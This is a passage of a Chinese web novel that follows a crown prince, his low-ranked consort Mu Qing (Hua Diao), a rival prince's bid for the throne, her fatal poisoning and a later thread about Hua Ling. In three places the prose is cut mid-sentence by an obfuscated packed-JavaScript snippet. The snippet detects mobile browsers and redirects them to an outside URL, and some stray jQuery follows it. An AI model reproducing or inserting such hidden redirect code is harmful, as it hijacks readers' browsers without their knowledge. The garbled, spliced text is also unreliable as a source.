话音刚落,席间瞬间就安静下来,皇后气得脸都变了形:“荒唐!那个宫外来的女人实属乡野村妇,举止言行中都透漏着粗鄙,哪里配得上我们皇家血统,我不同意!” 自古有言,龙生龙,凤生凤,老鼠的儿子会打洞。成亲这件事,讲求的是门当户对。那慕卿除了样貌过得去,要身世没身世,要家产没家产,要真当了太子妃,岂不是让天下人笑话他们玉家人? 见母后反对得很坚决,父皇脸拉得很长,玉龙吟索性闭了嘴,想着先搁置着吧,等他们气消了想开了再来提这事。 一边是有养育之恩的父母,一边是朝夕相处的爱人,尽管两难全,玉龙吟还是想努力在中间找一个平衡点。 立慕卿为太子妃这事就这么不了了之,但是玉龙吟在席间的一番话流传开来,大家也就更笃定了他的心思。 那以后,有时候花雕看向玉龙吟的神情淡淡的,他都觉得愧疚,毕竟说到的话却做不到,有些心虚。 本来想着等父皇母后气消了再去磨磨他们,要是他们最后实在不同意,他就放弃太子位,以一个王爷的身份娶她,总不会被人诟病吧。 哪知道玉龙吟的想法居然被他们看穿了,没两天,宫里就颁了圣旨:谁得太子位,谁娶慕卿。 玉龙吟算是看明白了,就是说,这慕卿和太子之位,一个他都不能舍弃。 这招真是又损又狠。他本来就是太子,在旁人看来,这是既得江山又得美人,有何不好?可他知道,这是用慕卿把他捆绑住,让他心甘情愿地当太子,不能有任何其他离宫私奔之类的想法。 既然已经松口,那么是不是也意味着他们默许了慕卿当太子妃这件事? 玉龙吟本来抱着一种死灰复燃的心态,想再提这件事,还没开口,殿上的人就已经先声夺人:“娶她?我当然是同意了,可我有说过要你立她为太子妃吗?” 前脚玉龙吟刚出了昭若殿,后脚,他就收到了立李菀宁为太子妃的圣旨,如同晴天霹雳一般。 可偏偏刚刚惹了圣怒,玉龙吟也不好回头争辩些什么,只怕到时候可能是太子位和慕卿两不保,玉龙吟只觉得自己是哑巴吃黄连,有苦说不出。 紧接着又来了一道圣旨,白纸黑字写着立慕卿为昭训。 在玉霄国,太子妻妾有四个等级:太子妃、昭仪、良娣、昭训,昭训是位分最低的。 在父皇母后眼里看来,这已经是最大的让步了。 明明是最爱的人,却最没名分,玉龙吟心里替她打抱不平,花雕却觉得无所谓,毕竟她本就无心争什么,一心筹划的也是另外一件事。 听闻近来日辄国和玉霄国要打起来,为的是接壤处的一处矿脉,花雕真的是拍手称快,巴不得能掺和两脚,混进日辄国的队伍里,屠了许颢厦那个狗贼的一家。 可玉龙吟不让她出皇宫——本就是站在风口浪尖的人,宫里视之为眼中钉肉中刺的人本来就多,可不能再出什么意外了。从头到尾,花雕都没跟他透漏自己进宫的意图,这让玉龙吟以为,她是被自己的真心感化,死心塌地跟他进宫的。 不让就不让呗,花雕也不急,反正来日方长,她还有一辈子去荒废,就为了一个慕卿。 气人的事情来了,礼部得了指令,开始操办起他和李菀宁的婚事,玉龙吟倒也做得决绝,把和慕卿成亲的日子定在了同天。 两场婚事,同一天,太子妃和慕昭训。可只有一个太子,他会选择去哪里? 明眼人都知道怎么选——李菀宁背后是相府势力,得了李菀宁,就是对相府的拉拢,反之,疏离菀宁,部分意义上就是与相府为敌。 可极其讽刺的是,成亲当天,太子正妃却是被冷落的那个。 李菀宁人如其名,是一个温婉宁静的女子,一举一动都透漏着淑良贤德的气质,琴棋书画女红刺绣样样精通,当真是名副其实的大家闺秀。 花雕也见过她几次,如此温婉知书达礼的女子,她见了也是喜欢的,甚至有些羡慕地跟玉龙吟说道:“果然是名门世家的人儿,有模有样,难怪你的父皇母后都喜欢她。” 玉龙吟也琢磨不透她是怎么想的,也没有说什么,对李菀宁却是怎么都喜欢不起来,打心底里觉得,李菀宁再好,也没有慕卿好。 说到李菀宁,不得不说另外一个人——玉景奕,全皇宫里最纠结、最坎坷、身上是非最多的皇子。 这个玉景奕,因为母后被发现和侍卫私通打入了冷宫,被宫里人人骂着“野种”,却因为母后和皇后娘娘交情甚好,便有皇后罩着。 作为皇后党中势力最弱的,在各路妃嫔的坑蒙陷害中度着日子,生生地活成了宫斗主角。好在平生有惊无险,有皇后还有李菀宁的一路庇护。 起初李菀宁听说了他的遭遇,对玉景奕是同情的,如此一个心善的女子,家中又有权有势,自然对他百般庇护。 听说玉龙吟在成亲当晚和别的女人拜了堂,李菀宁面上的表情很淡很淡,只是遣退了侍女,静静地等着。在红烛即将燃尽的时候,李菀宁没有等来玉龙吟,却等来了玉景奕。 玉景奕偷摸着穿越人群,混进她的屋子,拉下她的盖头:“菀宁,你跟我走吧,那玉龙吟他根本不爱你,你又何苦为他执着着呢。” 相处多年,玉景奕是爱着李菀宁的,很纯粹的喜欢,跟家世权力什么的都没关系的那种。 李菀宁双目紧闭,只是摇了摇头。 圣旨是皇上颁布的,这其中利弊玉景奕又怎么会不懂,若是菀宁跟他走了,就是违抗圣旨,作为李家长女,她当然要为自己的家族考虑。 可玉龙吟有什么好的?值得菀宁一介权臣之女受如此委屈。玉景奕以为是因为他的身份问题,因为母妃的原因,他处处受人挤压,是所有皇子中地位最低的那个。 如果,他当了太子呢? 要不,让玉龙吟把太子位交出来?反正看他平日里一副置身事外的模样,心里想的念的,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598198|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那个慕卿。 要是他当了太子,菀宁依旧是太子妃,就不算抗旨了。 两人相对,各怀思绪,玉景奕最后开口说了句:“菀宁,我先走了”。 “唉,你别……”做傻事啊。 玉景奕来去匆匆,菀宁向着他的背影,知道自己说的话他根本没听进去,叹了口气。 玉景奕想用一个和平的方式让玉龙吟退位。 毕竟,虽然受到多方面的为难,但玉龙吟从未欺负过他。相反,玉景奕还记得,有一次他掉入青芙湖,玉龙吟找人救了他,虽然救他的那人他已经记不清了,但这份情,他始终牢记在心中,也没太为难玉龙吟。就只是把他骗到手,然后软禁在地牢里,好吃好喝地供着,每天还雷打不动地来好言劝他放弃太子位。 得太子位得慕卿,玉龙吟始终记得这句话,所以无论玉景奕威逼利诱多少次,他都咬紧牙关:“不交。” 反而,玉景奕也不敢拿他怎么样,两个人就这么僵持着。 直到宫女跟玉龙吟禀报,慕昭训一个人去了边境,玉龙吟才开始不坐不住了。边境正是战乱,慕卿虽有些功夫,只身涉险,难免不会遇到什么麻烦,偏偏玉景奕又跟他杠上了,玉龙吟气得拿着头上的钗子挖着洞就出了地牢。 领头的将军是玉龙吟的人,慕卿自然是很容易就混进了日辄国的队伍里,可她摸到地方头目营帐里的时候,整个人都傻了眼。 带兵的是许夜祈,那个曾经在望南山陪她喝酒,跟她讲着故事的男人。 “听说玉龙吟从宫外带回去一个人,可是你?慕昭训。”许夜祈也吃了一惊,没有想到会在这里遇到她。 “是啊,老朋友。”花雕朝他扯出一个笑,无奈答道。 许夜祈也淡定,问她:“所以你今天来,是为了帮他,杀我?” “原本是吧,也不是。可现在我不想杀你了。”就像突如其来想报复一样,花雕放弃了这个想法,念及旧情,她有点下不去手。 她觉得自己像一个笑话。兜兜转转,自己的圈子太小了,绕来绕去遇见的,一直是那么些人。可就算面前的人死了,慕卿能活过来吗?并不能。 那夜无战,就着篝火,两人相聊甚欢。 直到帐篷外传来熙熙攘攘的人声,竟是玉龙吟前来寻慕卿了。 看到帐篷外那人,玉龙吟以为慕卿落入了许夜祈之手,要许夜祈放了她。 “放她,可以呀。不过我有一个条件,这次的矿脉要给我们,作为回报,我可以助你在太子位上坐稳。”看到玉龙吟面上的担忧,许夜祈当然不会轻易放过这么好一个机会。 玉龙吟不知道许夜祈不会伤害慕卿,但许夜祈听闻玉龙吟在和玉景奕争太子位,于是想着乘机“打劫”一把,毕竟,他开出的条件还挺不错。 玉龙吟满心系着的都是慕卿,也不敢轻举妄动,生怕慕卿会受伤,就答应了许夜祈的要求。 一队的将士都是玉龙吟的人,他的可操作性当然很大。 于是,有计谋地,玉霄国边境将士“节节败退”,“死伤”不计其数。玉霄国最终战败,输掉了矿脉。 57. 酒尽桃花凉22 日辄国从中得利,许夜祈也遵守诺言,答应帮玉龙吟扫除玉景奕的干扰,坐稳太子位。 尽管玉景奕那样想要太子位,可玉龙吟不让位,他也没有办法,不得已才想着在慕卿身上动点心思。 那是玉景奕头一次看清楚这个名叫“慕卿”的、让皇兄魂牵梦萦的女子样貌,他却觉得似曾相识,初次见面,问花雕:“我们是不是在哪里见过?” 他见过的美人无数,可大多都是些艳俗的美,慕卿不一样,她的身上有着一种超凡的、空灵的美,给人的感觉就像是深山幽谷里叮咚泉水边长的一株兰草。 时隔多年,玉景奕心里还是有当年青芙湖边那个小包子花伶的影子,可那个影子很朦胧,只剩个轮廓,忆得不太真切。 “没见过。”花雕坦言答道。她一个耿安人,从小到大跟着慕卿四处跑,都没出过国,怎么有机缘见到这般位高权重的人? 花雕刚从日辄国回来不久,便得了玉景奕的邀请,来他宫里“坐坐”。 玉龙吟和许夜祈完成了“交易”,打点好边境队伍里的一切,匆匆赶回国,板凳都没坐热,就听说慕卿去了玉景奕那里,“腾”地起身就直往他宫里奔。 尽管两人动静闹得很大,但家长们愣是一点都不操心。 一来,大概是因为皇上皇后铁了心觉得玉龙吟一定不会放弃慕卿,会乖乖地坐好太子之位。 二来,从小到大,玉景奕虽然受尽为难屈辱,但因为有皇后的百般呵护,还是能感受到母爱和温暖的,本质上也不是太坏。 故而大家都只当二人是一番不伤感情的玩闹,也没太掺和到他们争权夺位的过程中来。说白了,大家觉得玉景奕就是闹一下小孩子脾气,最后坐稳太子位的还是玉龙吟。 花雕和玉景奕正在你一句我一句地尬聊,就有宫人来报,说玉龙吟步履飞快地朝着这边来了。 玉景奕几时见过他这般慌乱的模样?听宫人来报,嘴角勾起一抹浅浅的笑,又吩咐宫人们好茶好点心地伺候着慕卿,打算出去会会玉龙吟。 花雕也没想太多,该吃吃,该喝喝,反正暂时呆在这里什么都干不了,可不能委屈了肚子,又问宫人玉景奕还藏了什么好吃的,一一都给她端上来。 明明是寄人篱下,却过成了在自家一般随和潇洒的模样,宫人们直叹眼前女子乐观豁达,却也不敢不从她的命令,什么这饼那糕的,都往她跟前端。 玉景奕宫中吃食甚多,倒不是因为他有多爱吃甜食,而是菀宁这个小丫头嘴馋,隔三差五地来他宫里跟他讨要吃食。他自然是备了许多,只为了让菀宁常来。 但是现在,菀宁小姐嫁到了东宫,太子心爱的女子坐在玉景奕宫里,吃着本该属于菀宁的东西,难免让人觉得有些讽刺。 这边,宫人们进进出出,端来各种吃食。那边,玉龙吟扶着门框,喘得上气不接下气,一见玉景奕,便上前抓住他的衣领,质问道:“慕卿是不是在这里?你别伤害她。” 打蛇打七寸,果然,慕卿是玉龙吟的软肋,有了慕卿的帮助,他就不相信玉龙吟不妥协。 玉景奕笑得邪气,像佛一样用一种睥睨众生的眼神看着他:“不伤害她,可以啊,那我要你的位置,你给不给?” 玉龙吟顺了顺气,心里骂骂咧咧,我有那么多东西,却唯独,这个不能给你啊,臭弟弟。 随即薄唇轻抿,义正言辞地说道:“除了这个,你要别的我都给你。” 当初“得太子位者得慕卿”是一道密旨,全皇宫也就父皇、母后、玉龙吟和慕卿四个人知道。 可即便玉景奕知道这,又能怎样呢?他要的不过是太子位,慕卿不慕卿的他完全不在乎,甚至他可以为了太子位娶慕卿,所以玉龙吟也懒得跟他解释太多。 太子位本来就不是玉景奕的,玉龙吟还答应他别的要求,可以说是做出相当大的退步了。玉景奕却并不领情,摆出一副相当欠揍的模样,说道:“那免谈咯。慕卿的确是在我这里,等你什么时候想开了,我什么时候就放她走,不过你放心,我是不会为难女孩子的。” 话虽是这么说,可慕卿在玉景奕手里一天,玉龙吟的心里一天便不得安宁。可玉景奕这次就像吃了定心丸一样,仗着慕卿在手,丝毫不作出任何的退步,玉龙吟急得像是热锅上的蚂蚁。 狗急了会跳墙,兔子急了会咬人,连玉龙吟都没想到,他和玉景奕有一天会如仇人见面,兵刃相接。 城墙上,玉景奕“挟持”着花雕,城墙下,玉龙吟拉了弓,蓄势待发。北风呼呼号过,吹乱了三个人的发,玉龙吟和玉景奕就这么一直对峙着,慢慢地站成了“冰雕”。 尽管剑抵在花雕脖子上,玉景奕对她说话的语气里却满是平静:“你放心,我不会伤你的。只要你陪我演完这场戏,让玉龙吟主动交出太子位,我就放你走。” 可惜风太大,他们又隔得太远,两人的对话玉龙吟根本听不到。 “嗯,好。但是,作为交换条件,你要在事成之后,助我离开玉龙吟身边。”花雕无条件地相信玉景奕说的所有,大概是因为这些天像是只贪食的仓鼠一样,每天都在玉景奕这里吃吃吃,而他也没怎么为难自己。 玉景奕听得惊愕,这个玉龙吟心心念念着的女子,满心想的却是离开他? “你这么骗他,你不怕他伤心?”玉景奕说着,又把剑刃稍稍挪远了几厘,他也怕自己一不小心手抖,划伤了花雕洁白的脖颈。 “既然不爱,当初遇见就是错误,何必一次又一次地羁绊呢,徒增困惑。”花雕坦然答道,又是浅浅一笑。 尔后,她朝城墙下的人大声喊道:“玉龙吟,放过这天下的黎民百姓吧,宫廷之争,他们是无辜的。” 她知道,玉龙吟在国内没有势力,但那天在帐篷外,他已经跟许夜祈商量好了,若是迫不得已,就要动用日辄国的军队。而玉景奕背后有皇后的权力,还有李家的支持。 两军若是兵刃相接,必定生灵涂炭。 一听这话,玉龙吟急了,手中拉满的弓划了出去…… 他没有想过要杀玉景奕,他就是想吓吓他,可慕卿说,让他放弃太子位,那不也就是,放弃她吗? 那只离弦的箭眼看着就要射中玉景奕,千钧一发之际,花雕推开了玉景奕,自己挡了那一箭。 “阿卿!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598199|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“慕卿!” 两人几乎是同时呼唤着她的名字,玉龙吟和玉景奕都没想到,花雕会挡了这一箭。 箭上被花雕淬了毒,毒药是日辄国的,许夜祈给玉龙吟的。 太子位和慕卿是绑定在一起的,如果有什么办法能让玉景奕拿到太子位又让玉龙吟彻底死心,只有慕卿“死”了。 两全其美,花雕也算是还玉龙吟的债了,不委屈。 那天她在帐篷外,听许夜祈跟玉龙吟说,“赤色的是一种可以让人假死的药”,她便提前在他的兵刃上都淬了赤色药瓶里的毒。 许夜祈也曾向玉龙吟提出毒杀玉景奕,所以跟玉龙吟一一介绍了日辄国的秘药,当时花雕正在军帐外偷听,而玉龙吟还未等许夜祈依次介绍完,就打断他:“我可不想害他性命,我要玉景奕好好地活着。” 花雕以为她可以如愿地假死,以此离开玉霄国。可是她听错了,那天许夜祈说的是:“紫色的是一种可以让人假死的药。” 一字之差,就铸成了另外一种结局,那一箭只是正中花雕肩头,并没有伤及要害,花雕却因此昏睡不醒。 意外地伤了一个姑娘,玉家兄弟两人一时也无心争太子位了,赶紧带着她去医治。 玉龙吟万万没想到,箭上居然被人淬了剧毒。 宫中一把年纪的老太医面露难色:“殿下,这个毒,微臣、微臣也无能为力啊!不出两天,毒侵入五脏六腑,这个姑娘就……” 就……无力回天了呀。可是他后半句没说下去,这也是为他的项上人头着想,谁人不知道,这是太子殿下最在意的女子,她要是有什么闪失,太子殿下一生气,那还不得一帮子人陪葬。 日辄国擅长制毒,他们一定会有解决的办法的,玉龙吟也没时间计较这些个御医是不是庸医,抱着花雕就踏上了前往日辄国的路程。 “驾……”御医说还有约两天时间,玉龙吟不敢有片刻耽搁,一路快马加鞭地行进着。 怀中人有气无力地睁开双眼,看到的却是另一副景象—— 一骑白马,那人携暗香踏雪而来。 浅笑勾唇,策马扬鞭,每一个举手投足,都是这天地间的绝色。 漫天风雪吻落在他发间,他一袭白衣,嘴角勾起浅浅的笑意,朝她伸出手来,缓缓道:“花儿,到师父这里来。” “师父,花儿好……好想……”花雕探出手去,想尽可能离那人近一些,想像往日一样拽着他的衣角,贪婪地嗅着他身上的香。 就好像他在眼前一样,花雕描摹着他眉眼、他飞扬的发,眼前人却越来越模糊,模糊得只剩下一个轮廓。 花雕知道这是自己弥留之际的一个梦境,可她愿意沉溺在这个梦里,不再醒来。 “你”字还未说出口,纤纤玉手自空际中滑落。 “阿卿——”意识到怀中人不对劲,玉龙吟发出一声歇斯底里的咆哮。 “阿卿——” “卿——” 空旷的雪地,传来四周山谷的阵阵回音。 怀中人渐渐变凉,最终,玉龙吟失声痛哭,应和他的,只有漫天的飘雪,夹杂着嘶吼的北风。 58. 酒尽桃花凉23 慕卿死了,玉霄国里有人开心,有人失意。 开心的人满打满算地以为,玉龙吟没了念想,会好好地接下皇位,成为一代明君。 失意的人却久久地沉溺在慕卿死去的悲痛中,心如死灰,不问世事,如行尸走肉般活着。 旁人见了,不由得唏嘘几声,这个玉龙吟,真是个痴情种,为了慕昭训,竟堕落至此。 玉龙吟内心却被深深的愧疚填满,如果,当初不是自己走了极端,对玉景奕剑拔弩张,那箭便不会失手,慕卿也不会死。 后来他才知道,那是日辄国特制的毒药“迷迭”,根本没人研制出解药,就算他们能赶到日辄国,于慕卿而言,依旧是无解。 眼见着玉龙吟收了心,先帝二话不说,就退了位,让位给玉龙吟。 除了传旨的公公,还有带了一堆乱七八糟东西的人挤在他的宫殿里,玉龙吟望着眼前排成长龙的宫人,半点犹豫都没,就接下了圣旨,心里盘算的却是另外一件事。 后来,相传龙帝只当了一天的皇上,废了宫中立后立妃的例律,改立新法“玉宵国国君(储君)若有中意的女子,可抛弃身份家世之别,可免去繁文缛节,直接册立为后(妃)”,就不知所踪。 收拾行李离开的那个晚上,玉龙吟回到宫里,看到了在门口徘徊的李菀宁。 玉龙吟突然想起来,宫里还有个被他一直遗忘的太子妃,想必面前人就是了,便对她说:“菀宁,我要走了。你是个好女孩,可惜我先遇见了她,我不想耽误你,你也走吧。” 他们甚至都未曾拜过天地,不曾有过夫妻之名,玉龙吟想着,离开东宫,李菀宁也是自由之身了,也许这样于她,也是一种解脱吧。 李菀宁闻言,背过他去,泪无声地涌下来,声音里却没有半点异样,答了句:“好。” 玉龙吟以为她是释怀了,心中甚感欣慰,说罢,头也不回地离开了。 国不可一日无君,玉龙吟离开后,先皇无奈,又重回朝廷,执掌百官,处理日常政务,还新立了太子。 当礼部将玉龙吟立的新律呈上来的时候,朝上人看得直皱眉头,皇后乃六宫之主,太子妃亦兹事体大,怎么可以如此草率!简直是满纸荒唐!可又想起了那个无权无势的慕昭训,想到了那个离家不归的玉龙吟,看得他沉默了好长时间。 礼部宫人见此情景,也不好多说一二,而是默默地收了纸页,心想着,算了,等一年后新帝上位了,让他来定夺吧。 玉霄国有个传统,太子需在外游历一年才能“转正”为国君,说是为了体察民生疾苦,实际上多少个太子都在这一年里易了主。 也不知道到玉龙吟这一辈是怎么了,十几个弟兄,个个都闲散,无一人对太子位感兴趣。当初好不容易有个玉景奕跳出来了,还不得支持一下,也算是给玉龙吟多一些“磨练”,故未对玉景奕过多约束,才酿成后来的惨剧。 玉景奕如愿地拿到了太子之位,他本以为李菀宁会就此对他改观,对他多几分喜欢。可哪知前脚刚步进东宫,后脚就看到梁上自挂东南枝的女子,吓得傻了眼。 赶紧手忙脚乱地将她取了下来,却发现她早已没了鼻息,只有脖子上一道触目惊心的紫痕,为这场闹剧画上了个不圆满的句号。 李菀宁会自杀,是玉景奕意料之外的事。他原本以为,是因为自己的生母在宫中没落得好名声,让菀宁嫁给他,会让她觉得受了委屈,他才有了想跟玉龙吟争太子位的想法。 保住太子位,日后便是皇上,万人之上,菀宁也会是皇后,掌管后宫,母仪天下。 只可惜,菀宁的心思玉景奕不懂,她至始至终都没有因为过他的身份嫌弃过他,要不然也不会在无数个他受迫害的日夜助他脱困,而是觉得被人抛弃,已是残花败柳,自觉无颜面对家中父老,这才三尺白绫,了断了此生。 终究脸皮薄,没放下面子。其实,玉景奕心中,她和玉龙吟都没拜过堂,算不上夫妻。就算他们已经礼成,那又怎样,玉龙吟始终执着的,只有慕昭训,菀宁在他心中,都不知是否有一方田地。 要是早些,能坚决地带李菀宁走,就不会如此了。 一个太子之位,两个伤心人。 玉景奕虽然后来成了国君,可李菀宁一直就像是根小小的刺,扎得他的心隐隐地疼,有时候他会望着满朝文武发呆,也不知道自己当初初心积虑当这个帝王的意义何在。 起初,玉龙吟搬离了皇宫,择了一处僻静的宅子,看花开,听雪落,日子过得寂寥无比。 他的宅邸,他的院落,还是跟那个女子在时一样静。 偶尔,他会想起来那天,在去往日辄国的山谷里遇见的那个男子。 他骑着一匹白马迎面而来,身着一袭不染尘的白衣,似是与天地间的雪融为一色。 玉龙吟以为那人只是过客,却见他急切地勒了马,在他跟前停驻下来。 一把眼泪一把鼻涕的,就这般狼狈模样,被来人见了个正着。 都说男儿有泪不轻弹,只是未到伤心处,慕卿一见此情此景,便知了个大概。 见到玉龙吟怀抱中早已经没了气的女子,他的语气很淡,面上亦无悲伤的神色:“把她给我吧,我要带她回家。” 这如谪仙般突如其来的人儿,让玉龙吟面露警惕:“你是谁?” 他是早就在这里埋伏好等自己,还是闻讯一路追赶而来? 慕卿离开花雕的这些年,一直都在暗处看着她。 她盗他的名字,她收了徒,她跟着玉龙吟下望南山去了宫里,这些慕卿都知道。慕卿起初也庆幸自己当初离开了,这样花雕才有机会和勇气去遇见这些人,经历一些呆在他身边没有办法经历的事。 只不过,后来听说玉霄国二位皇子在争权夺位,误伤了“慕卿”,花雕身中剧毒,慕卿这才开始变得不淡定了。他曾经宝贝的徒弟,他连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598200|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半根头发丝儿都舍不得伤着的徒弟,怎么就成了别人抢太子位的牺牲品? “我是……”她师父啊。 慕卿刚想回答,又望见玉龙吟怀中一动不动的女子,心有埋怨,都是这个人害的!忆及此,他眉宇间渐渐升腾起愠色:“我是谁,用得着你管吗?反正,你把她给我,我带她回家。” 都不敢自报家门,定是心怀不轨之人,玉龙吟把花雕护在怀里,满脸写着“我不给”三个大字。 慕卿也不让他,这明明是自家小徒弟,他曾经带在身边半步都离不开的小跟屁虫,现在带走她还需要用抢的? 两个人剑拔弩张,势要打起来,慕卿不依不饶,一语中的:“她活着,害死她的是你。她死了,你也不让她魂归故里?” 又露出一副胜券在握的模样,人,他今天一定是要带走的! 闻言,玉龙吟一惊,是啊,是自己害死了她,想着来人已经知道了事情的原委,抱着怀中人的手生生地松了几分。 慕卿见状,一把抢过花雕,抱在臂弯中,朝着他的马儿走去,又把怀中人小心翼翼地放在了马背上,正欲骑马离去。 身后的玉龙吟见状,急切地问道:“你要带她去哪里,我以后可以常去看看她吗?” 哪怕是一方小小的墓冢,看着怀念一下也是好的,可马上人语气似比这漫天冰雪还冷:“你不配。” 慕卿回头,见到玉龙吟一副满脸眷念贼心不死的模样,又补了句:“再也不见。” 那话像是又在玉龙吟心上插了一刀,慕卿并不觉得自己刻薄,那人连花雕都保护不好,又有什么资格再见她? 慕卿把跟前人圈揽在自己怀中,心中没来由伤感,曾经也是这样,他们骑着追风,走过很多的地方,遇见很多人。而今,依旧是此景,只是怀中人却没了呼吸,没了当初满脸的天真无邪笑意。 玉龙吟望着那两人一马在视线中不见,心中怅然若失。 以至于后来的很久很久,玉龙吟思忖来思忖去,却怎么都想不到,那天抱走花雕的是何人。 后来他又去了望南山,满山的桃树依旧在,只是再也没了那个砍树泄气的女子身影。 见不到慕卿,却有什么像一个疙瘩样的东西堵在他心里,玉龙吟想明白了,如果当时他能救活慕卿,后来也许就没那么多遗憾了。 可日辄国说,迷迭无解。后来玉龙吟历时近十年,亲身试毒,寻得解毒之法。再后来,他搅入政局,还真的凭己之力,救了两个因“迷迭”中毒的人。 再后来,他深居大山,成为了一个济世救人的大夫,当初救不了她,那么就去救更多的其他人吧。 她喜欢芍药,他便日日植了芍药伴在左右,他甚至研制了特别的药物,让那些芍药在冬日里也能存活。 只是这世间再也无她,再没她的酒香,更没有了她弯弯如月的眉眼。 真的是…… 寂寞如雪啊。 59. 戏子入画满临初23 僻静市坊的一角,刺槐长得正盛,叶童舟拎着几个大大小小的包裹,推开木门入内。 门内是一方不大不小的天地,与柳源戏班那种三进三出的大院不同,这处宅子更多的是小门小户家庭的温馨。 院子里有个一两岁的娃娃,正坐在地上玩泥巴。旁边的妇人冷眼看着那个娃娃,任由他抓完泥巴,又去摸自己的脸蛋,糊得像个小泥猴。 叶童舟见了,皱眉朝那人道:“管管你儿子,无垢也不希望他这样的。” 无垢,提及这个名字,像是在沉寂已久的湖里丢进一颗细碎的石子,闻言,那头人立马变了神色。能对白无垢三个字介怀至此的,不是花伶是谁? 花伶捡起地上的一块软泥巴,朝那个娃娃砸去,语气里满是埋怨:“他人都不在了,留个破娃娃给我有什么用?” 那泥团落在叶念白身上,不轻不重,在他衣上绽开了一朵泥花。 叶童舟抱过地上的小包子,护在怀里,用下巴去蹭他圆鼓鼓的脸蛋:“傻姑娘,说什么呢,留个念想总是好的。” 小娃娃还不知道发生了什么,只是感受到了来人温暖的怀抱,挤在叶童舟手边的一堆货物里,欢喜地叫着:“爹地!爹地!” 叶童舟腾出手来,又揉了揉他的脸蛋,“吧唧”亲了一口:“念白乖,爹地在这里。” 叶念白,名字是叶童舟起的,花伶嘴上不说,但他知道,花伶心里还是思念着白无垢的,那个笑起来一口白牙的“悍匪”少年。 白无垢去得早,那时两人也还没有成亲,花伶就已经有了身孕,尽管可能会饱受非议,但她一咬牙还是把小念白生下来了。虽然嘴上不说,叶童舟知道,会这么做,恰恰是因为花伶心里还有白无垢。 花伶之所以对念白不管不顾,是怕自己和孩子走得近了,她又不由自主地想起白无垢来。 白无垢死后,霜满天继位。尽管是个在别人眼中沉迷酒色的纨绔君王,却把耿安国诸多事宜打理得井井有条。只是,芈氏亡了后,他就跟天下人宣布,耿安国再也不是三家之国了,以后独姓白。 起初,有国家以为耿安没落了,举兵相对。霜满天带兵亲自征伐,打得对方落荒而逃,让别国愣是再对耿安没有半点非分之想。 好多次,霜满天都希望自己能死在战场上,这些家啊国啊什么的其实都跟他没有关系,他的心,早就跟着弟弟,那个他一心一意想要护着的混帐小子,走远了。 花伶不想让叶念白进宫,免得落得个像白无垢那样死得不明不白的结局。自柳源戏班失火后,花伶就像是自己真的从这个世界消失了一样,再也没有去找过霜满天,尽管日子起初过得并不容易。 一个孤身的女子带着个孩子,未免名声不好,叶童舟为了避免被人说闲话,在外人面前从来都是和花伶以夫妻相称。 小叶念白尽管不是叶童舟的孩子,但叶童舟视若己出,一把屎一把尿地将他拉扯大。 念着往日的旧情,有柳源戏班的老主顾瞧见了叶童舟没落得不像话,便聘他去做帐房先生。 熟悉的算盘拨得“嗒嗒”响,有时,叶童舟觉得自己还像是在戏班的时候一样,也会边算账边哼唱几句戏文。老东家偶尔听见了,会喜笑颜开道:“是那个味。” 多少次都想上台,却根本没有机会,见有人会喜欢听自己唱的戏段,叶童舟便将其奉为知己:“您喜欢的话,我再给您唱一段。” “嗯,好。”老东家颇为满意地点头,眯着眼笑道。 花伶大多数时候都在家里,照看叶念白,替人缝缝补补补贴家用,日子不像以前餐餐有鱼有肉的模样,倒也吃穿不愁。 在外人看来,那叶童舟虽然是个瘸子,但是人心细,算得一手好账,那秀娘丑是丑了点,可人很勤快。这一家三口其乐融融,多好啊。 大概是被他的真心所打动,花伶慢慢地接受了叶童舟,最终和他拜堂成了亲,没有宾朋道喜和好友祝福,亦没有洞房花烛夜——这是花伶的想法,叶童舟都依她,他知道她放不下过去。 叶童舟只是想在花伶身边陪着她,尽管她的心一直被无垢占据着,叶童舟却也奢望有一天能去填满她心里的伤,让她从无垢的阴影里彻底走出来。 抱着怀中的小包子,叶童舟替他擦干净手脸,轻唤了花伶一声:“花儿……” 花伶放下了手中正绣着的锦帕,把他买的东西悉数收拾进屋里,回了句:“嗯?” “要不,我们也生一个?” 闻言,花伶愣住,叶童舟说,他想要一个属于他们的孩子,现在的她,还值得被人爱吗?还配,拥有一段平淡的爱情吗? 白无垢走后,她的心被仇恨和悲伤盘踞,又因慕卿对花雕那般好,彻底发了狂,故而花伶联通日辄,唆使许柔竺对慕卿下手,想要一石二鸟,让他们互相伤害。 但花伶错了,错得很彻底,她作为姐姐,为什么要去嫉妒妹妹的幸福?她本就不幸运,还毁了别人的希望。 